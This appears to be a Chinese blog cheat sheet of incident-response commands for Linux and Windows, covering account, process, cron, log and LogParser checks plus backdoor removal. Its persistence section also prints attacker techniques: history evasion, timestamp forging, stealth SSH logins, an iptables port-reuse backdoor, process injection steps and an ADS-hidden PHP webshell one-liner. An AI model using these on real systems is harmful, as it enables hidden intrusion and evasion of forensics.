当前位置: 首页 > news >正文

应急响应常用命令

应急响应的基本思路

a. 收集信息:收集告警信息、客户反馈信息、设备主机信息等
b. 判断类型:安全事件类型判断。(钓鱼邮件、Webshll、爆破、中毒等)
c. 控制范围:隔离失陷设备
d. 分析研判:根据收集回来的信息进行分析e. 处置:根据事件类型进行处置(进程、文件、邮件、启动项、注册表排查等)
f. 输出报告

应急响应常用命令

1.linux下常用命令

1.1查看用户信息
/etc/passwd   查看用户信息文件/etc/shadow  查看影子文件awk -F: '$3==0{print $1}' /etc/passwd  (查看系统是否还存在其他的特权账户,uid为0,默认系统只存在root一个特权账户)who     查看当前登录用户(tty 本地登陆  pts 远程登录)w       查看系统信息,想知道某一时刻用户的行为uptime  查看登陆多久、多少用户,负载passwd  -d username 删除用户密码stat /etc/passwd #查看密码文件上一次修改的时间,如果最近被修改过,那就可能存在问题。cat /etc/passwd | grep -v nologin #查看除了不可登录以外的用户都有哪些,有没有新增的cat /etc/passwd | grep x:0 #查看哪些用户为root权限,有没有新增的cat /etc/passwd | grep /bin/bash #查看哪些用户使用shell查询可以远程登录的账号:awk  ‘/\$1|\$6/{print $1}’  /etc/shadow查询具有sudo权限的账号:more /etc/sudoers | grep -v  “^#\|^$”  grep “ALL=(ALL)”
1.2.历史命令
很多的服务器会有存在多用户登陆情况,登陆root用户可查看其他用户的相关账户登录信息,.bash_history保存了用户的登陆所操作的命令信息home/root/.bash_historyhistory查看历史命令cat .bash_history >>history.txt   保存历史命令
1.3.查看端口

`netstat –antp` #查看对应链接的文件路径ls -l /proc/pid/exe  ls -l /proc/*/exe | grep xxx  #如果我们知道恶意程序的启动文件大致位置,可以使用这个发现无文件的恶意进程netstat -antlp | grep 172.16.222.198 | awk '{print $7}' | cut -f1 -d"/"  通过可疑的ip地址获取程序pid

1.4.查看进程

ps   -aux #查看相关pid对应程序
ps –aux | grep pid  #监控某一应用线程数(如ssh)
ps -eLf | grep ssh| wc –l #监控网络客户连接数
netstat -n | grep tcp | grep 侦听端口 | wc -l
ps aux --sort=pcpu | head -10   #查看cpu占用率前十的进程,有时候可以发现

1.5.开机启动项

启动项文件:

more /etc/rc.local/etc/rc.d/rc[0~6].dls -l /etc/rc.d/rc3.d/

1.6.定时任务

crontab  -l #编辑定时任务
crontab –e/crontab -u root –l #查看root用户任务计划
ls /var/spool/cron/  #查看每个用户自己的执行计划
#删除计划任务且控制计划任务不能写东西sed '/gcc.sh/d' /etc/crontab && chmod 0000 /etc/crontab && chattr +i /etc/crontab常见的定时任务文件:/var/spool/cron/*  #centos的/var/spool/cron/crontabs/* #ubuntu的/var/spool/anacron/*/etc/crontab/etc/anacrontab/etc/cron.hourly/*/etc/cron.daily/*/etc/cron.weekly//etc/cron.monthly/*

1.7.服务

chkconfig #查看开机启动项目chkconfig  --list  (systemctl list-unit-files |grep enabled)#查看服务自启状态

1.8.查找文件

find /home1 -name *.php ! -name index.php #find查找指定的文件find查看最近一天修改的文件: find / -mtime -1 > /etc/aa.txt#(查看修改的文件并保存到aa的txt文档)find . -name .svn | xargs rm –rf #查找并删除find / -size +10000k -print:#查找大于10000k的文件md5sum -b filename:#查看文件的md5值

1.9.top命令

top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器。默认top是根据cpu的占用情况进行排序的可通过按“b”键进行切换,可切换到按照内存使用情况进行排序top  -p pid  #监控指定进程free #查看当前系统内存使用情况top -b -n1 | head

1.10.host文件

有一些挖矿程序会修改 /etc/hosts文件

1.11.日志分析

默认日志位置:var/log

1、定位有多少IP在爆破主机的root帐号:

grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

定位有哪些IP在爆破:

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破用户名字典是什么?

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

2、登录成功的IP有哪些:

grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

登录成功的日期、用户名、IP:

grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

Linux中的命令,Diff,可以查看两个文本文件的差异。

1.12.查看命令状态

很多情况下,存在ps、netstat等一些常见命令被替换,可利用stat查看该状态,查看其修改时间

stat /bin/netstat

1.13.文件清除

很多时候会遇到无法查看文件权限或是病毒在一直向某个文件写入程序,可尝试如下命令:

lsattr [恶意文件绝对路径]命令查看权限,

使用chattr -i [恶意文件绝对路径]解除文件锁定后删除。

chmod 0000 /lib/libudev.so && rm -rf /lib/libudev.so && chattr +i /lib/(chattr +i不让lib文件被写入删除)

结束某一进程:

Kill  -9  pid

2.windows下常用命令

2.1账号安全

query user  查看当前登录账户

logoff ID 注销用户id

net  user 查看用户

net user username 查看用户登录情况

lusrmgr.msc 打开本地用户组

regedit注册表查看账户,确认系统是否存在隐藏账户

利用LogParser.exe查看event日志,查询用户登录情况

LogParser.exe -i:EVT "SELECT TimeGenerated,EXTRACT_TOKEN(Strings,5,'|') AS USERNAME,EXTRACT_TOKEN(Strings,5,'|') AS SERVICE_NAME,EXTRACT_TOKEN(Strings,5,'|') AS Client_IP FROM 'C:\Users\haha\Desktop\Security.evtx' WHERE EventID=4624"

LogParser.exe日志分析工具更多用法可参考:

https://wooyun.js.org/drops/windows安全日志分析之logparser篇.html

2.2检查异常端口进程

查看目前连接:

netstat  -ano

一般是查看已经成功建立的连接:

netstat -ano | findstr "ESTABLISHED"

根据pid定位程序名称

tasklist  | findstr  "pid"

运行中输入msinfo32,可打开系统信息,在“正在运行任务”中可获取进程详细信息,包括进程的开始时间、版本、大小等信息。

根据端口查看pid

netstat -ano | findstr "8080"

利用wmic查看进程执行时的命令

Wmic process where name='irefox.exe' get name,Caption,executablepath,CommandLine ,processid,ParentProcessId  /value

Wmic process where processid='2040' get name,Caption,executablepath,CommandLine ,processid,ParentProcessId  /value

2.3启动项检查

msconfig查看系统启动项

查看注册表是否有异常启动项

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

2.4查看系统定时任务

Cmd下运行schtasks(win7系统利用at),查看定时任务

C:\Windows\System32\Tasks  查看任务清单

删除任务计划

建议删除任务计划时以管理员登录

SchTasks /Delete /TN  任务计划名称

2.5查看系统服务

Services.msc

删除服务可从任务管理器中手动删除,也可使用命令:

sc stop [服务名称]停止服务后,

sc delete [服务名称]删除服务

2.6文件查看

查看最近打开的文件,运行窗口中输入“%UserProfile%\Recent”

被拿shell了如何处理

基于PDCERF模型将应急响应分成6个阶段工作:准备(Preparation)、检测(Detection)、抑制(Containment)、根除(Eradication)、恢复(Recovery)、跟踪(Follow-up)。

1.Prepare(准备):分析资产的风险、组建管理 人员团队、风险加固、保障资源储备、技术支持资源库

2.Detection(检测):日常运维监控、事件判断、事件上报:包括防火墙、系统、web服务器、IDS/WAF/SIEM中的日志,不正常或者是执行了越权操作的用户,甚至还有管理员的报告

3.Containment(抑制):抑制阶段的主要任务是限制事件扩散和影响的范围。抑制举措往往会对合法业务流量造成影响,最有效的抑制方式是尽可能地靠近攻击的发起端实施抑制

4.Eradication(根除):根除阶段的主要任务是通过事件分析查明事件危害的方式,并且给出清除危害的解决方案。

对事件的确认仅是初步的事件分析过程。事件分析的目的是找出问题出现的根本原因。在事件分析的过程中主要有主动和被动2种方式。主动方式是采用攻击诱骗技术,通过让攻击方去侵入一个受监视存在漏洞的系统,直接观察到攻击方所采用的攻击方法。被动方式是根据系统的异常现象去追查问题的根本原因。

5.Recover(恢复):主要任务是把被破坏的信息彻底地还原到正常运作状态。确定使系统恢复正常的需求和时间表、从可信的备份介质中恢复用户数据、打开系统和应用服务、恢复系统网络连接、验证恢复系统、观察其他的扫描、探测等可能表示入侵者再次侵袭的信号。

6.Follow-Up(跟踪):主要任务是回顾并整合应急响应过程的相关信息,进行事后分析总结、修订安全计划、政策、程序并进行训练以防止再次入侵,基于入侵的严重性和影响,确定是否进行新的风险分析、给系统和网络资产制定一个新的目录清单、如果需要,参与调查和起诉。这一阶段的工作对于准备阶段工作的开展起到重要的支持作用。应急响应报告、应急事件调查、应急响应总结

入侵排查

检查帐号

# 禁用或删除多余及可疑的帐号
usermod -L user    # 禁用帐号,帐号无法登录,/etc/shadow 第二栏为 ! 开头
userdel user       # 删除 user 用户
userdel -r user    # 将删除 user 用户,并且将 /home 目录下的 user 目录一并删除

历史命令

# 历史命令
history
# 进入用户目录下,导出历史命令
cat .bash_history >> history.txt

检查异常端口

# 使用 netstat 网络连接命令,分析可疑端口、IP、PID
netstat -antlp | more
# 查看下 pid 所对应的进程文件路径
ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的 pid 号)

检查异常进程

# 使用 ps 命令,分析进程
ps aux | grep pid
ps -ef | grep pname

检查开机启动项

# 查看运行级别命令
runlevel
# 系统默认允许级别
vi /etc/inittab
id=3:initdefault #系统开机后直接进入哪个运行级别
# 开机启动配置文件
/etc/rc.local
/etc/rc.d/rc[0~6].d

检查定时任务

# 利用 crontab 创建计划任务
# 基本命令
crontab -l  # 列出某个用户cron服务的详细内容
crontab -r  # 删除每个用户cront任务(谨慎:删除所有的计划任务)
crontab -e  # 使用编辑器编辑当前的crontab文件

检查服务

# 服务自启动
# 第一种修改方法:
chkconfig [--level 运行级别] [独立服务名] [on|off]
chkconfig –level 2345 httpd on  # 开启自启动
chkconfig httpd on  # (默认 level 是2345)
# 第二种修改方法:
# 修改 /etc/re.d/rc.local 文件
# 加入 /etc/init.d/httpd start
# 第三种修改方法:
# 使用 ntsysv 命令管理自启动,可以管理独立服务和 xinetd 服务。

检查异常文件

# 查看敏感目录,如 /tmp 目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性
# 得到发现 WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?
# 可以使用 find 命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件
# 针对可疑文件可以使用 stat 进行创建修改时间。

检查系统日志

# 日志默认存放

日志分析

Linux日志分析

1. 日志简介

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

比较重要的几个日志:

  • 登录失败记录:/var/log/btmp (lastb)
  • 最后一次登录:/var/log/lastlog (lastlog)
  • 登录成功记录: /var/log/wtmp (last)
  • 登录日志记录:/var/log/secure
  • 目前登录用户信息:/var/run/utmp (w, who, users)

历史命令记录:history 仅清理当前用户:history -c

日志文件

说明

/var/log/cron

记录了系统定时任务相关的日志

/var/log/cups

记录打印信息的日志

/var/log/dmesg

记录了系统在开机时内核自检的信息,也可以使用 dmesg 命令直接查看内核自检信息

/var/log/mailog

记录邮件信息

/var/log/message

记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件

/var/log/btmp

记录错误登录日志,这个文件是二进制文件,不能直接 vi 查看,而要使用 lastb 命令查看

/var/log/lastlog

记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接 vi,而要使用 lastlog 命令查看

/var/log/wtmp

永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接 vi,而需要使用 last 命令来查看

/var/log/utmp

记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接 vi,而要使用 w, who, users 等命令来查询

/var/log/secure

记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如 SSH 登录,su 切换用户,sudo 授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

2. 日志分析技巧

/var/log/secure

  1. 定位有多少 IP 在爆破主机的 root 帐号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

  1. 定位有哪些 IP 在爆破:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?\\[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.[0-9]+"|uniq -c

  1. 爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\\n";}'|uniq -c|sort -nr

  1. 登录成功的 IP 有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

  1. 登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

  1. 增加一个用户 kali 日志:
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali

grep "useradd" /var/log/secure

  1. 删除用户 kali 日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'

grep "userdel" /var/log/secure

  1. su 切换用户:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)

  1. sudo 授权执行:
sudo -l
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

/var/log/yum.log

软件安装升级卸载日志:

yum install gcc
[root@bogon ~]# more /var/log/yum.log
Jul 10 00:18:23 Updated: cpp-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:24 Updated: libgcc-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:24 Updated: libgomp-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:28 Updated: gcc-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:28 Updated: libgcc-4.8.5-28.el7_5.1.i686

windows日志分析

Windows事件日志简介

  • Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
  • 系统和应用程序日志存储着故障排除信息,对于系统管理员更为有用。安全日志记录着事件审计信息,包括用户验证(登录、远程访问等)和特定用户在认证后对系统做了什么,对于调查人员而言,更有帮助。

Windows事件日志说明

  • Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。
  • 系统日志,记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。默认位置:
%SystemRoot%\\System32\\Winevt\\Logs\\System.evtx

  • 应用程序日志,包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。默认位置:
%SystemRoot%\\System32\\Winevt\\Logs\\Application.evtx

  • 安全日志,记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。默认位置:
%SystemRoot%\\System32\\Winevt\\Logs\\Security.evtx

Windows事件ID说明

  • 4624 登录成功
  • 4625 登录失败
  • 4634 注销成功
  • 4647 用户启动的注销
  • 4672 使用超级用户(如管理员)进行登录
  • 4720 创建用户

Log Parser日志分析

软件说明

  • Log Parser是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用SQL语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。
  • 下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659

Log Parser日志分析

  • 基本查询结构
Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\\xx.evtx"

  • 使用Log Parser分析日志
    登录成功的所有事件
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\\Security.evtx where EventID=4624"


指定登录时间范围的事件:

LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\\Security.evtx where TimeGenerated>'2018-06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and EventID=4624"


提取登录成功的用户名和IP:

LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\\Security.evtx where EventID=4624"


登录失败的所有事件:

LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\\Security.evtx where EventID=4625"


提取登录失败用户名进行聚合统计:

LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,' ')) as Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\\Security.evtx where EventID=4625 GROUP BY Message"


系统历史开关机记录:

LogParser.exe -i:EVT –o:DATAGRID "SELECT TimeGenerated,EventID,Message FROM c:\\System.evtx where EventID=6005 or EventID=6006"

其他日志分析工具介绍

  • LogParser Lizard:对于GUI环境的Log Parser Lizard,其特点是比较易于使用,甚至不需要记忆繁琐的命令,只需要做好设置,写好基本的SQL语句,就可以直观的得到结果。
    下载地址:Log Parser GUI. Analyze log files with SQL
  • Event Log Explorer:Event Log Explorer是一款非常好用的Windows日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系统,应用程序和其他微软Windows的记录被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。
    下载地址:Event Log Explorer - Download

权限维持破除隐藏以及后门清除

Linux权限维持破除隐藏以及后门清除

1. 隐藏文件
    • 隐藏:Linux下,文件名称前面有“.”的就是隐藏文件,使用ls -l看不到隐藏文件。
    • 破除隐藏:ls -al
    • 提示:一般在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/temp/.ICE-unix//temp/.Test-unix//temp/.X11-unix//temp/.XIM-unix/
2. 隐藏文件时间戳
    • 隐藏:
touch -r index.php webshell.php #将index.php的时间戳赋给webshell.php
touch -t 1401021042.30 webshell.php #修改时间戳为2014 年 01 月 02日

    • 破除隐藏:
stat webshell.php #查看
ls -al --time=ctime webshell.php


说明 :chmodchown等修改文件权限、所有者,所属组的操作,会更新atimectime的值。

3. 隐藏权限
    • 隐藏:在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
      这个技巧常被用在后门,变成了一些难以清除的后门文件。
    • 破除隐藏:
chattr +i evil.php #锁定文件
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf 1.evil.php #删除文件

4. 隐藏历史操作命令
    • 隐藏:
      • 1.只针对你的工作关闭历史记录
        [space]set +o history
        备注:[space]表示空格。并且由于空格的缘故,该命令本身也不会被记录。
        上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
      • 2.从历史记录中删除指定的命令
        history | grep “keyword“,上述命令执行后,会输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:history -d [num]
      • 只保留前150行:sed -i '150,$d' .bash_history
    • 破除隐藏:
      • 提前备份.bash_history文件
    • 重新开启历史功能,执行下面的命令:
      [Space]set -o history
      它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
5. 隐藏远程SSH登陆记录
    • 隐身登录系统,不会被wwholast等指令检测到。
      ssh -T root@127.0.0.1 /bin/bash –i
    • 不记录ssh公钥在本地.ssh目录中
      ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
6. 端口复用
    • 利用IPTables进行端口复用
# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set -name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 -name letmein --rsource -j LETMEIN

    • 检测:Netstat查看监听端口
7. 进程隐藏
    • 说明:管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
      利用办法:进程注入工具linux-inject
      github项目地址: https://github.com/gaffe23/linux-inject.git
# 下载程序编译
git clone <https://github.com/gaffe23/linux-inject.git>
cd linux-inject && make
# 测试进程
./sample-target
# 进程注入
./inject -n sample-target sample-library.so

    • 破除隐藏:
      unhide是一个小巧的网络取证工具,能够发现那些借助rootkitLKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在LinuxUNIX类,MS-Windows等操作系统下都可以工作。
      下载地址:Unhide homepage - Welcome
# 安装
sudo yum install unhide
# 使用
unhide [options] test_list


使用unhide proc发现隐藏进程evil_script.py

Windows权限维持破除隐藏以及后门清除

后门


攻击者在获取服务器权限后,通常会用一些后门来维持权限。如果想让后门保持得更久些,就需要隐藏好它,使之不易被管理员发现。
常见的后门维持方式包括:

  • 利用文件属性
  • 利用ADS隐藏文件内容
  • 驱动级文件隐藏
  • 隐藏账号
  • 端口复用
  • 进程注入
利用文件属性

隐藏

最简单的一种隐藏文件的方式是,右键点击文件,选择属性,勾选“隐藏”选项,然后点击确定。这样文件就被隐藏了。

破除隐藏

点击查看,勾选显示隐藏的文件,文件就会显示出来。

高级隐藏

使用Attrib +s +a +h +r命令是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r D:\\test\\project\\test.txt
破除高级破除隐藏

打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。

利用ADS隐藏文件内容

隐藏

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg。

查看
dir /r
破除隐藏

删除index.php:hidden.jpg即可。

驱动级文件隐藏
隐藏

驱动隐藏可以用一些软件来实现,软件名字叫:Easy File Locker。

破除隐藏

确认是否隐藏。如果网站目录未查找到相关文件,且系统目录存在以下文件:

  • c:\WINDOWS\xlkfs.dat
  • c:\WINDOWS\xlkfs.dll
  • c:\WINDOWS\xlkfs.ini
  • c:\WINDOWS\system32\drivers\xlkfs.sys

那么应该是遭遇了驱动级文件隐藏。

实施清除

1.查询服务状态:

sc qc xlkfs

1.停止服务:

net stop xlkfs

服务停止后,经驱动级隐藏的文件即可显现。

1.删除服务:

sc delete xlkfs

1.删除系统目录下面的文件,重启系统,确认服务已经被清理了。

隐藏账号

隐藏

可以使用CMD命令行下建立一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为管理员权限。

破除隐藏

使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。

端口复用
隐藏

可以使用WinRM服务或者其他的工具实现端口复用。

破除隐藏

复用时会在安全日志中留下痕迹。

进程注入
隐藏

进程注入是病毒木马的惯用手段,同时,它也是一种隐藏技术。

破除隐藏
  1. 通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成红色消失,如此循环。
  2. 利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。
  3. 利用process monitor或者火绒剑监控进程都可以定位到注入进程。
命令

如果需要在Windows命令行窗口中执行以下命令,可以把命令放在三个反引号之间的代码块中,或者使用“```cmd”标记。比如:

echo hello
注意事项

隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。

相关文章:

应急响应常用命令

应急响应的基本思路 a. 收集信息&#xff1a;收集告警信息、客户反馈信息、设备主机信息等 b. 判断类型&#xff1a;安全事件类型判断。&#xff08;钓鱼邮件、Webshll、爆破、中毒等&#xff09; c. 控制范围&#xff1a;隔离失陷设备 d. 分析研判&#xff1a;根据收集回来的…...

使用React和ResizeObserver实现自适应ECharts图表

关键词 React ECharts ResizeObserver 摘要 在现代 Web 开发中&#xff0c;响应式布局和数据可视化是非常常见的需求。本文将介绍如何使用React、ResizeObserver和ECharts库来创建一个自适应的图表组件。 什么是ResizeObserver ResizeObserver是JavaScript的一个API&#x…...

修改第三方npm包

文章目录 一、前言二、补丁方案2.1、patch-package2.2、pnpm patch 三、换日方案四、总结五、最后 一、前言 在开发过程中&#xff0c;发现某个npm包有Bug&#xff0c;应该怎么办&#xff1f;可以试试下面这2种方案&#xff1a; 代码量少&#xff0c;可以直接修改npm包代码的&…...

Redis性能优化:关键配置和最佳实践

大家好&#xff0c;我是升仔 Redis作为一个高性能的键值存储系统&#xff0c;在现代应用架构中扮演着至关重要的角色。性能优化是Redis部署与维护中的一个关键环节。本文将从关键配置、持久化配置、实践场景和异常处理配置等方面&#xff0c;详细介绍如何优化Redis的性能。 关…...

华为数通方向HCIP-DataCom H12-831题库(多选题:241-249)

第241题 (NEW) 以下哪些操作可能会影响客户网络的正常运行? A、从设备上下载日志 B、软件升级 C、路由协议配置变更 D、debug核心交换机上转发的所有IP报文 答案:ABCD 解析: 第242题 对于防火墙的默认安全区 Trust 和 Untrust 的说法,正确的有 A、从 Trust 区域访问 Untr…...

typeorm联表查询:副表json格式放到主表字段下或多个副表字段并列主表字段

实体类字段不做映射&#xff0c;typeorm实现联查查询 1、副表json格式放到主表字段下 //goods表和member表联表&#xff0c;关系goods.id member.uid&#xff0c;member表数据json对象格式放到主表userInfo下 //leftJoinAndMapOne配合getMany实现 const builder await getCo…...

Flume采集日志存储到HDFS

1 日志服务器上配置Flume,采集本地日志文件&#xff0c;发送到172.19.115.96 的flume上进行聚合&#xff0c;如日志服务器有多组&#xff0c;则在多台服务器上配置相同的配置 # Name the components on this agent a1.sources r1 a1.sinks k1 a1.channels c1# Describe/con…...

redis—String字符串

目录 前言 1.字符串数据类型 2.常见命令 3.典型应用场景 前言 字符串类型是Redis最基础的数据类型&#xff0c;关于字符串需要特别注意: 1)首先Redis中所有的键的类型都是字符串类型&#xff0c;而且其他几种数据结构也都是在字符串类似基础.上构建的&#xff0c;例如列表…...

三相电机转差率为负值的情形

1.电机开始发电的特征 注意&#xff0c;电机因为有输入频率对原始旋转磁场的影响&#xff0c;在正常工作时&#xff0c;应该处于稳态&#xff0c;因为旋转磁场决定了这个系统的运转方向和运转的大致频率区间。它会处于力矩平衡态。但是&#xff0c;如果&#xff0c;此时电机处…...

关于Dark Frost 僵尸网络对游戏行业进行DDoS攻击的动态情报

一、基本内容 近期&#xff0c;一种名为Dark Frost 的新型僵尸网络被发现正在对游戏行业发起分布式拒绝服务攻击&#xff08;DDoS)。目标包括游戏公司、游戏服务器托管提供商、在线流媒体甚至和网络信息安全攻击者直接交互的其他游戏社区成员。截至2023年2月&#xff0c;僵尸网…...

MongoDB数据库本地部署并结合内网穿透实现navicat公网访问

文章目录 前言1. 安装数据库2. 内网穿透2.1 安装cpolar内网穿透2.2 创建隧道映射2.3 测试随机公网地址远程连接 3. 配置固定TCP端口地址3.1 保留一个固定的公网TCP端口地址3.2 配置固定公网TCP端口地址3.3 测试固定地址公网远程访问 前言 MongoDB是一个基于分布式文件存储的数…...

前端学习笔记

文章目录 1、学习路线2、token的安全储存方案3、跨域4、相关的学习链接 前言&#xff1a;最近在学习前端补齐我的软件技能树&#xff0c;最近简单总结一下 1、学习路线 基本&#xff1a;vue3、ts(js)、 vite、eslint、css(动画、布局) 依赖包&#xff1a;vue-router、vue-i18…...

Vue实现响应式布局

前提准备&#xff1a;响应式布局有两种方法&#xff0c;看自己想要哪种。 方法一&#xff1a;百分比 用百分比去写元素的宽度&#xff0c;然后让子元素撑起父元素的高度 .parent {width: 50%; }.child {width:100%;height:100px; } 方法二&#xff1a;vh、vw vw、vh是基于视…...

linux:下载、网络请求、端口

一&#xff1a;ping命令 可以通过ping命令,检查指定的网络服务器是否是可联通状态 语法: ping [-c num] ip或主机名 1、选项&#xff1a;-c,检查的次数&#xff0c;不使用-c选项&#xff0c;将无限次数持续检查 2、参数&#xff1a;ip或主机名&#xff0c;被检查的服务器的…...

182.【2023年华为OD机试真题(C卷)】敏感字段加密(字符串的分割、替换和拼接实现JavaPythonC++JS)

请到本专栏顶置查阅最新的华为OD机试宝典 点击跳转到本专栏-算法之翼:华为OD机试 🚀你的旅程将在这里启航!本专栏所有题目均包含优质解题思路,高质量解题代码,详细代码讲解,助你深入学习,深度掌握! 文章目录 【2023年华为OD机试真题(C卷)】敏感字段加密(字符串…...

新版IDEA中Git的使用(三)

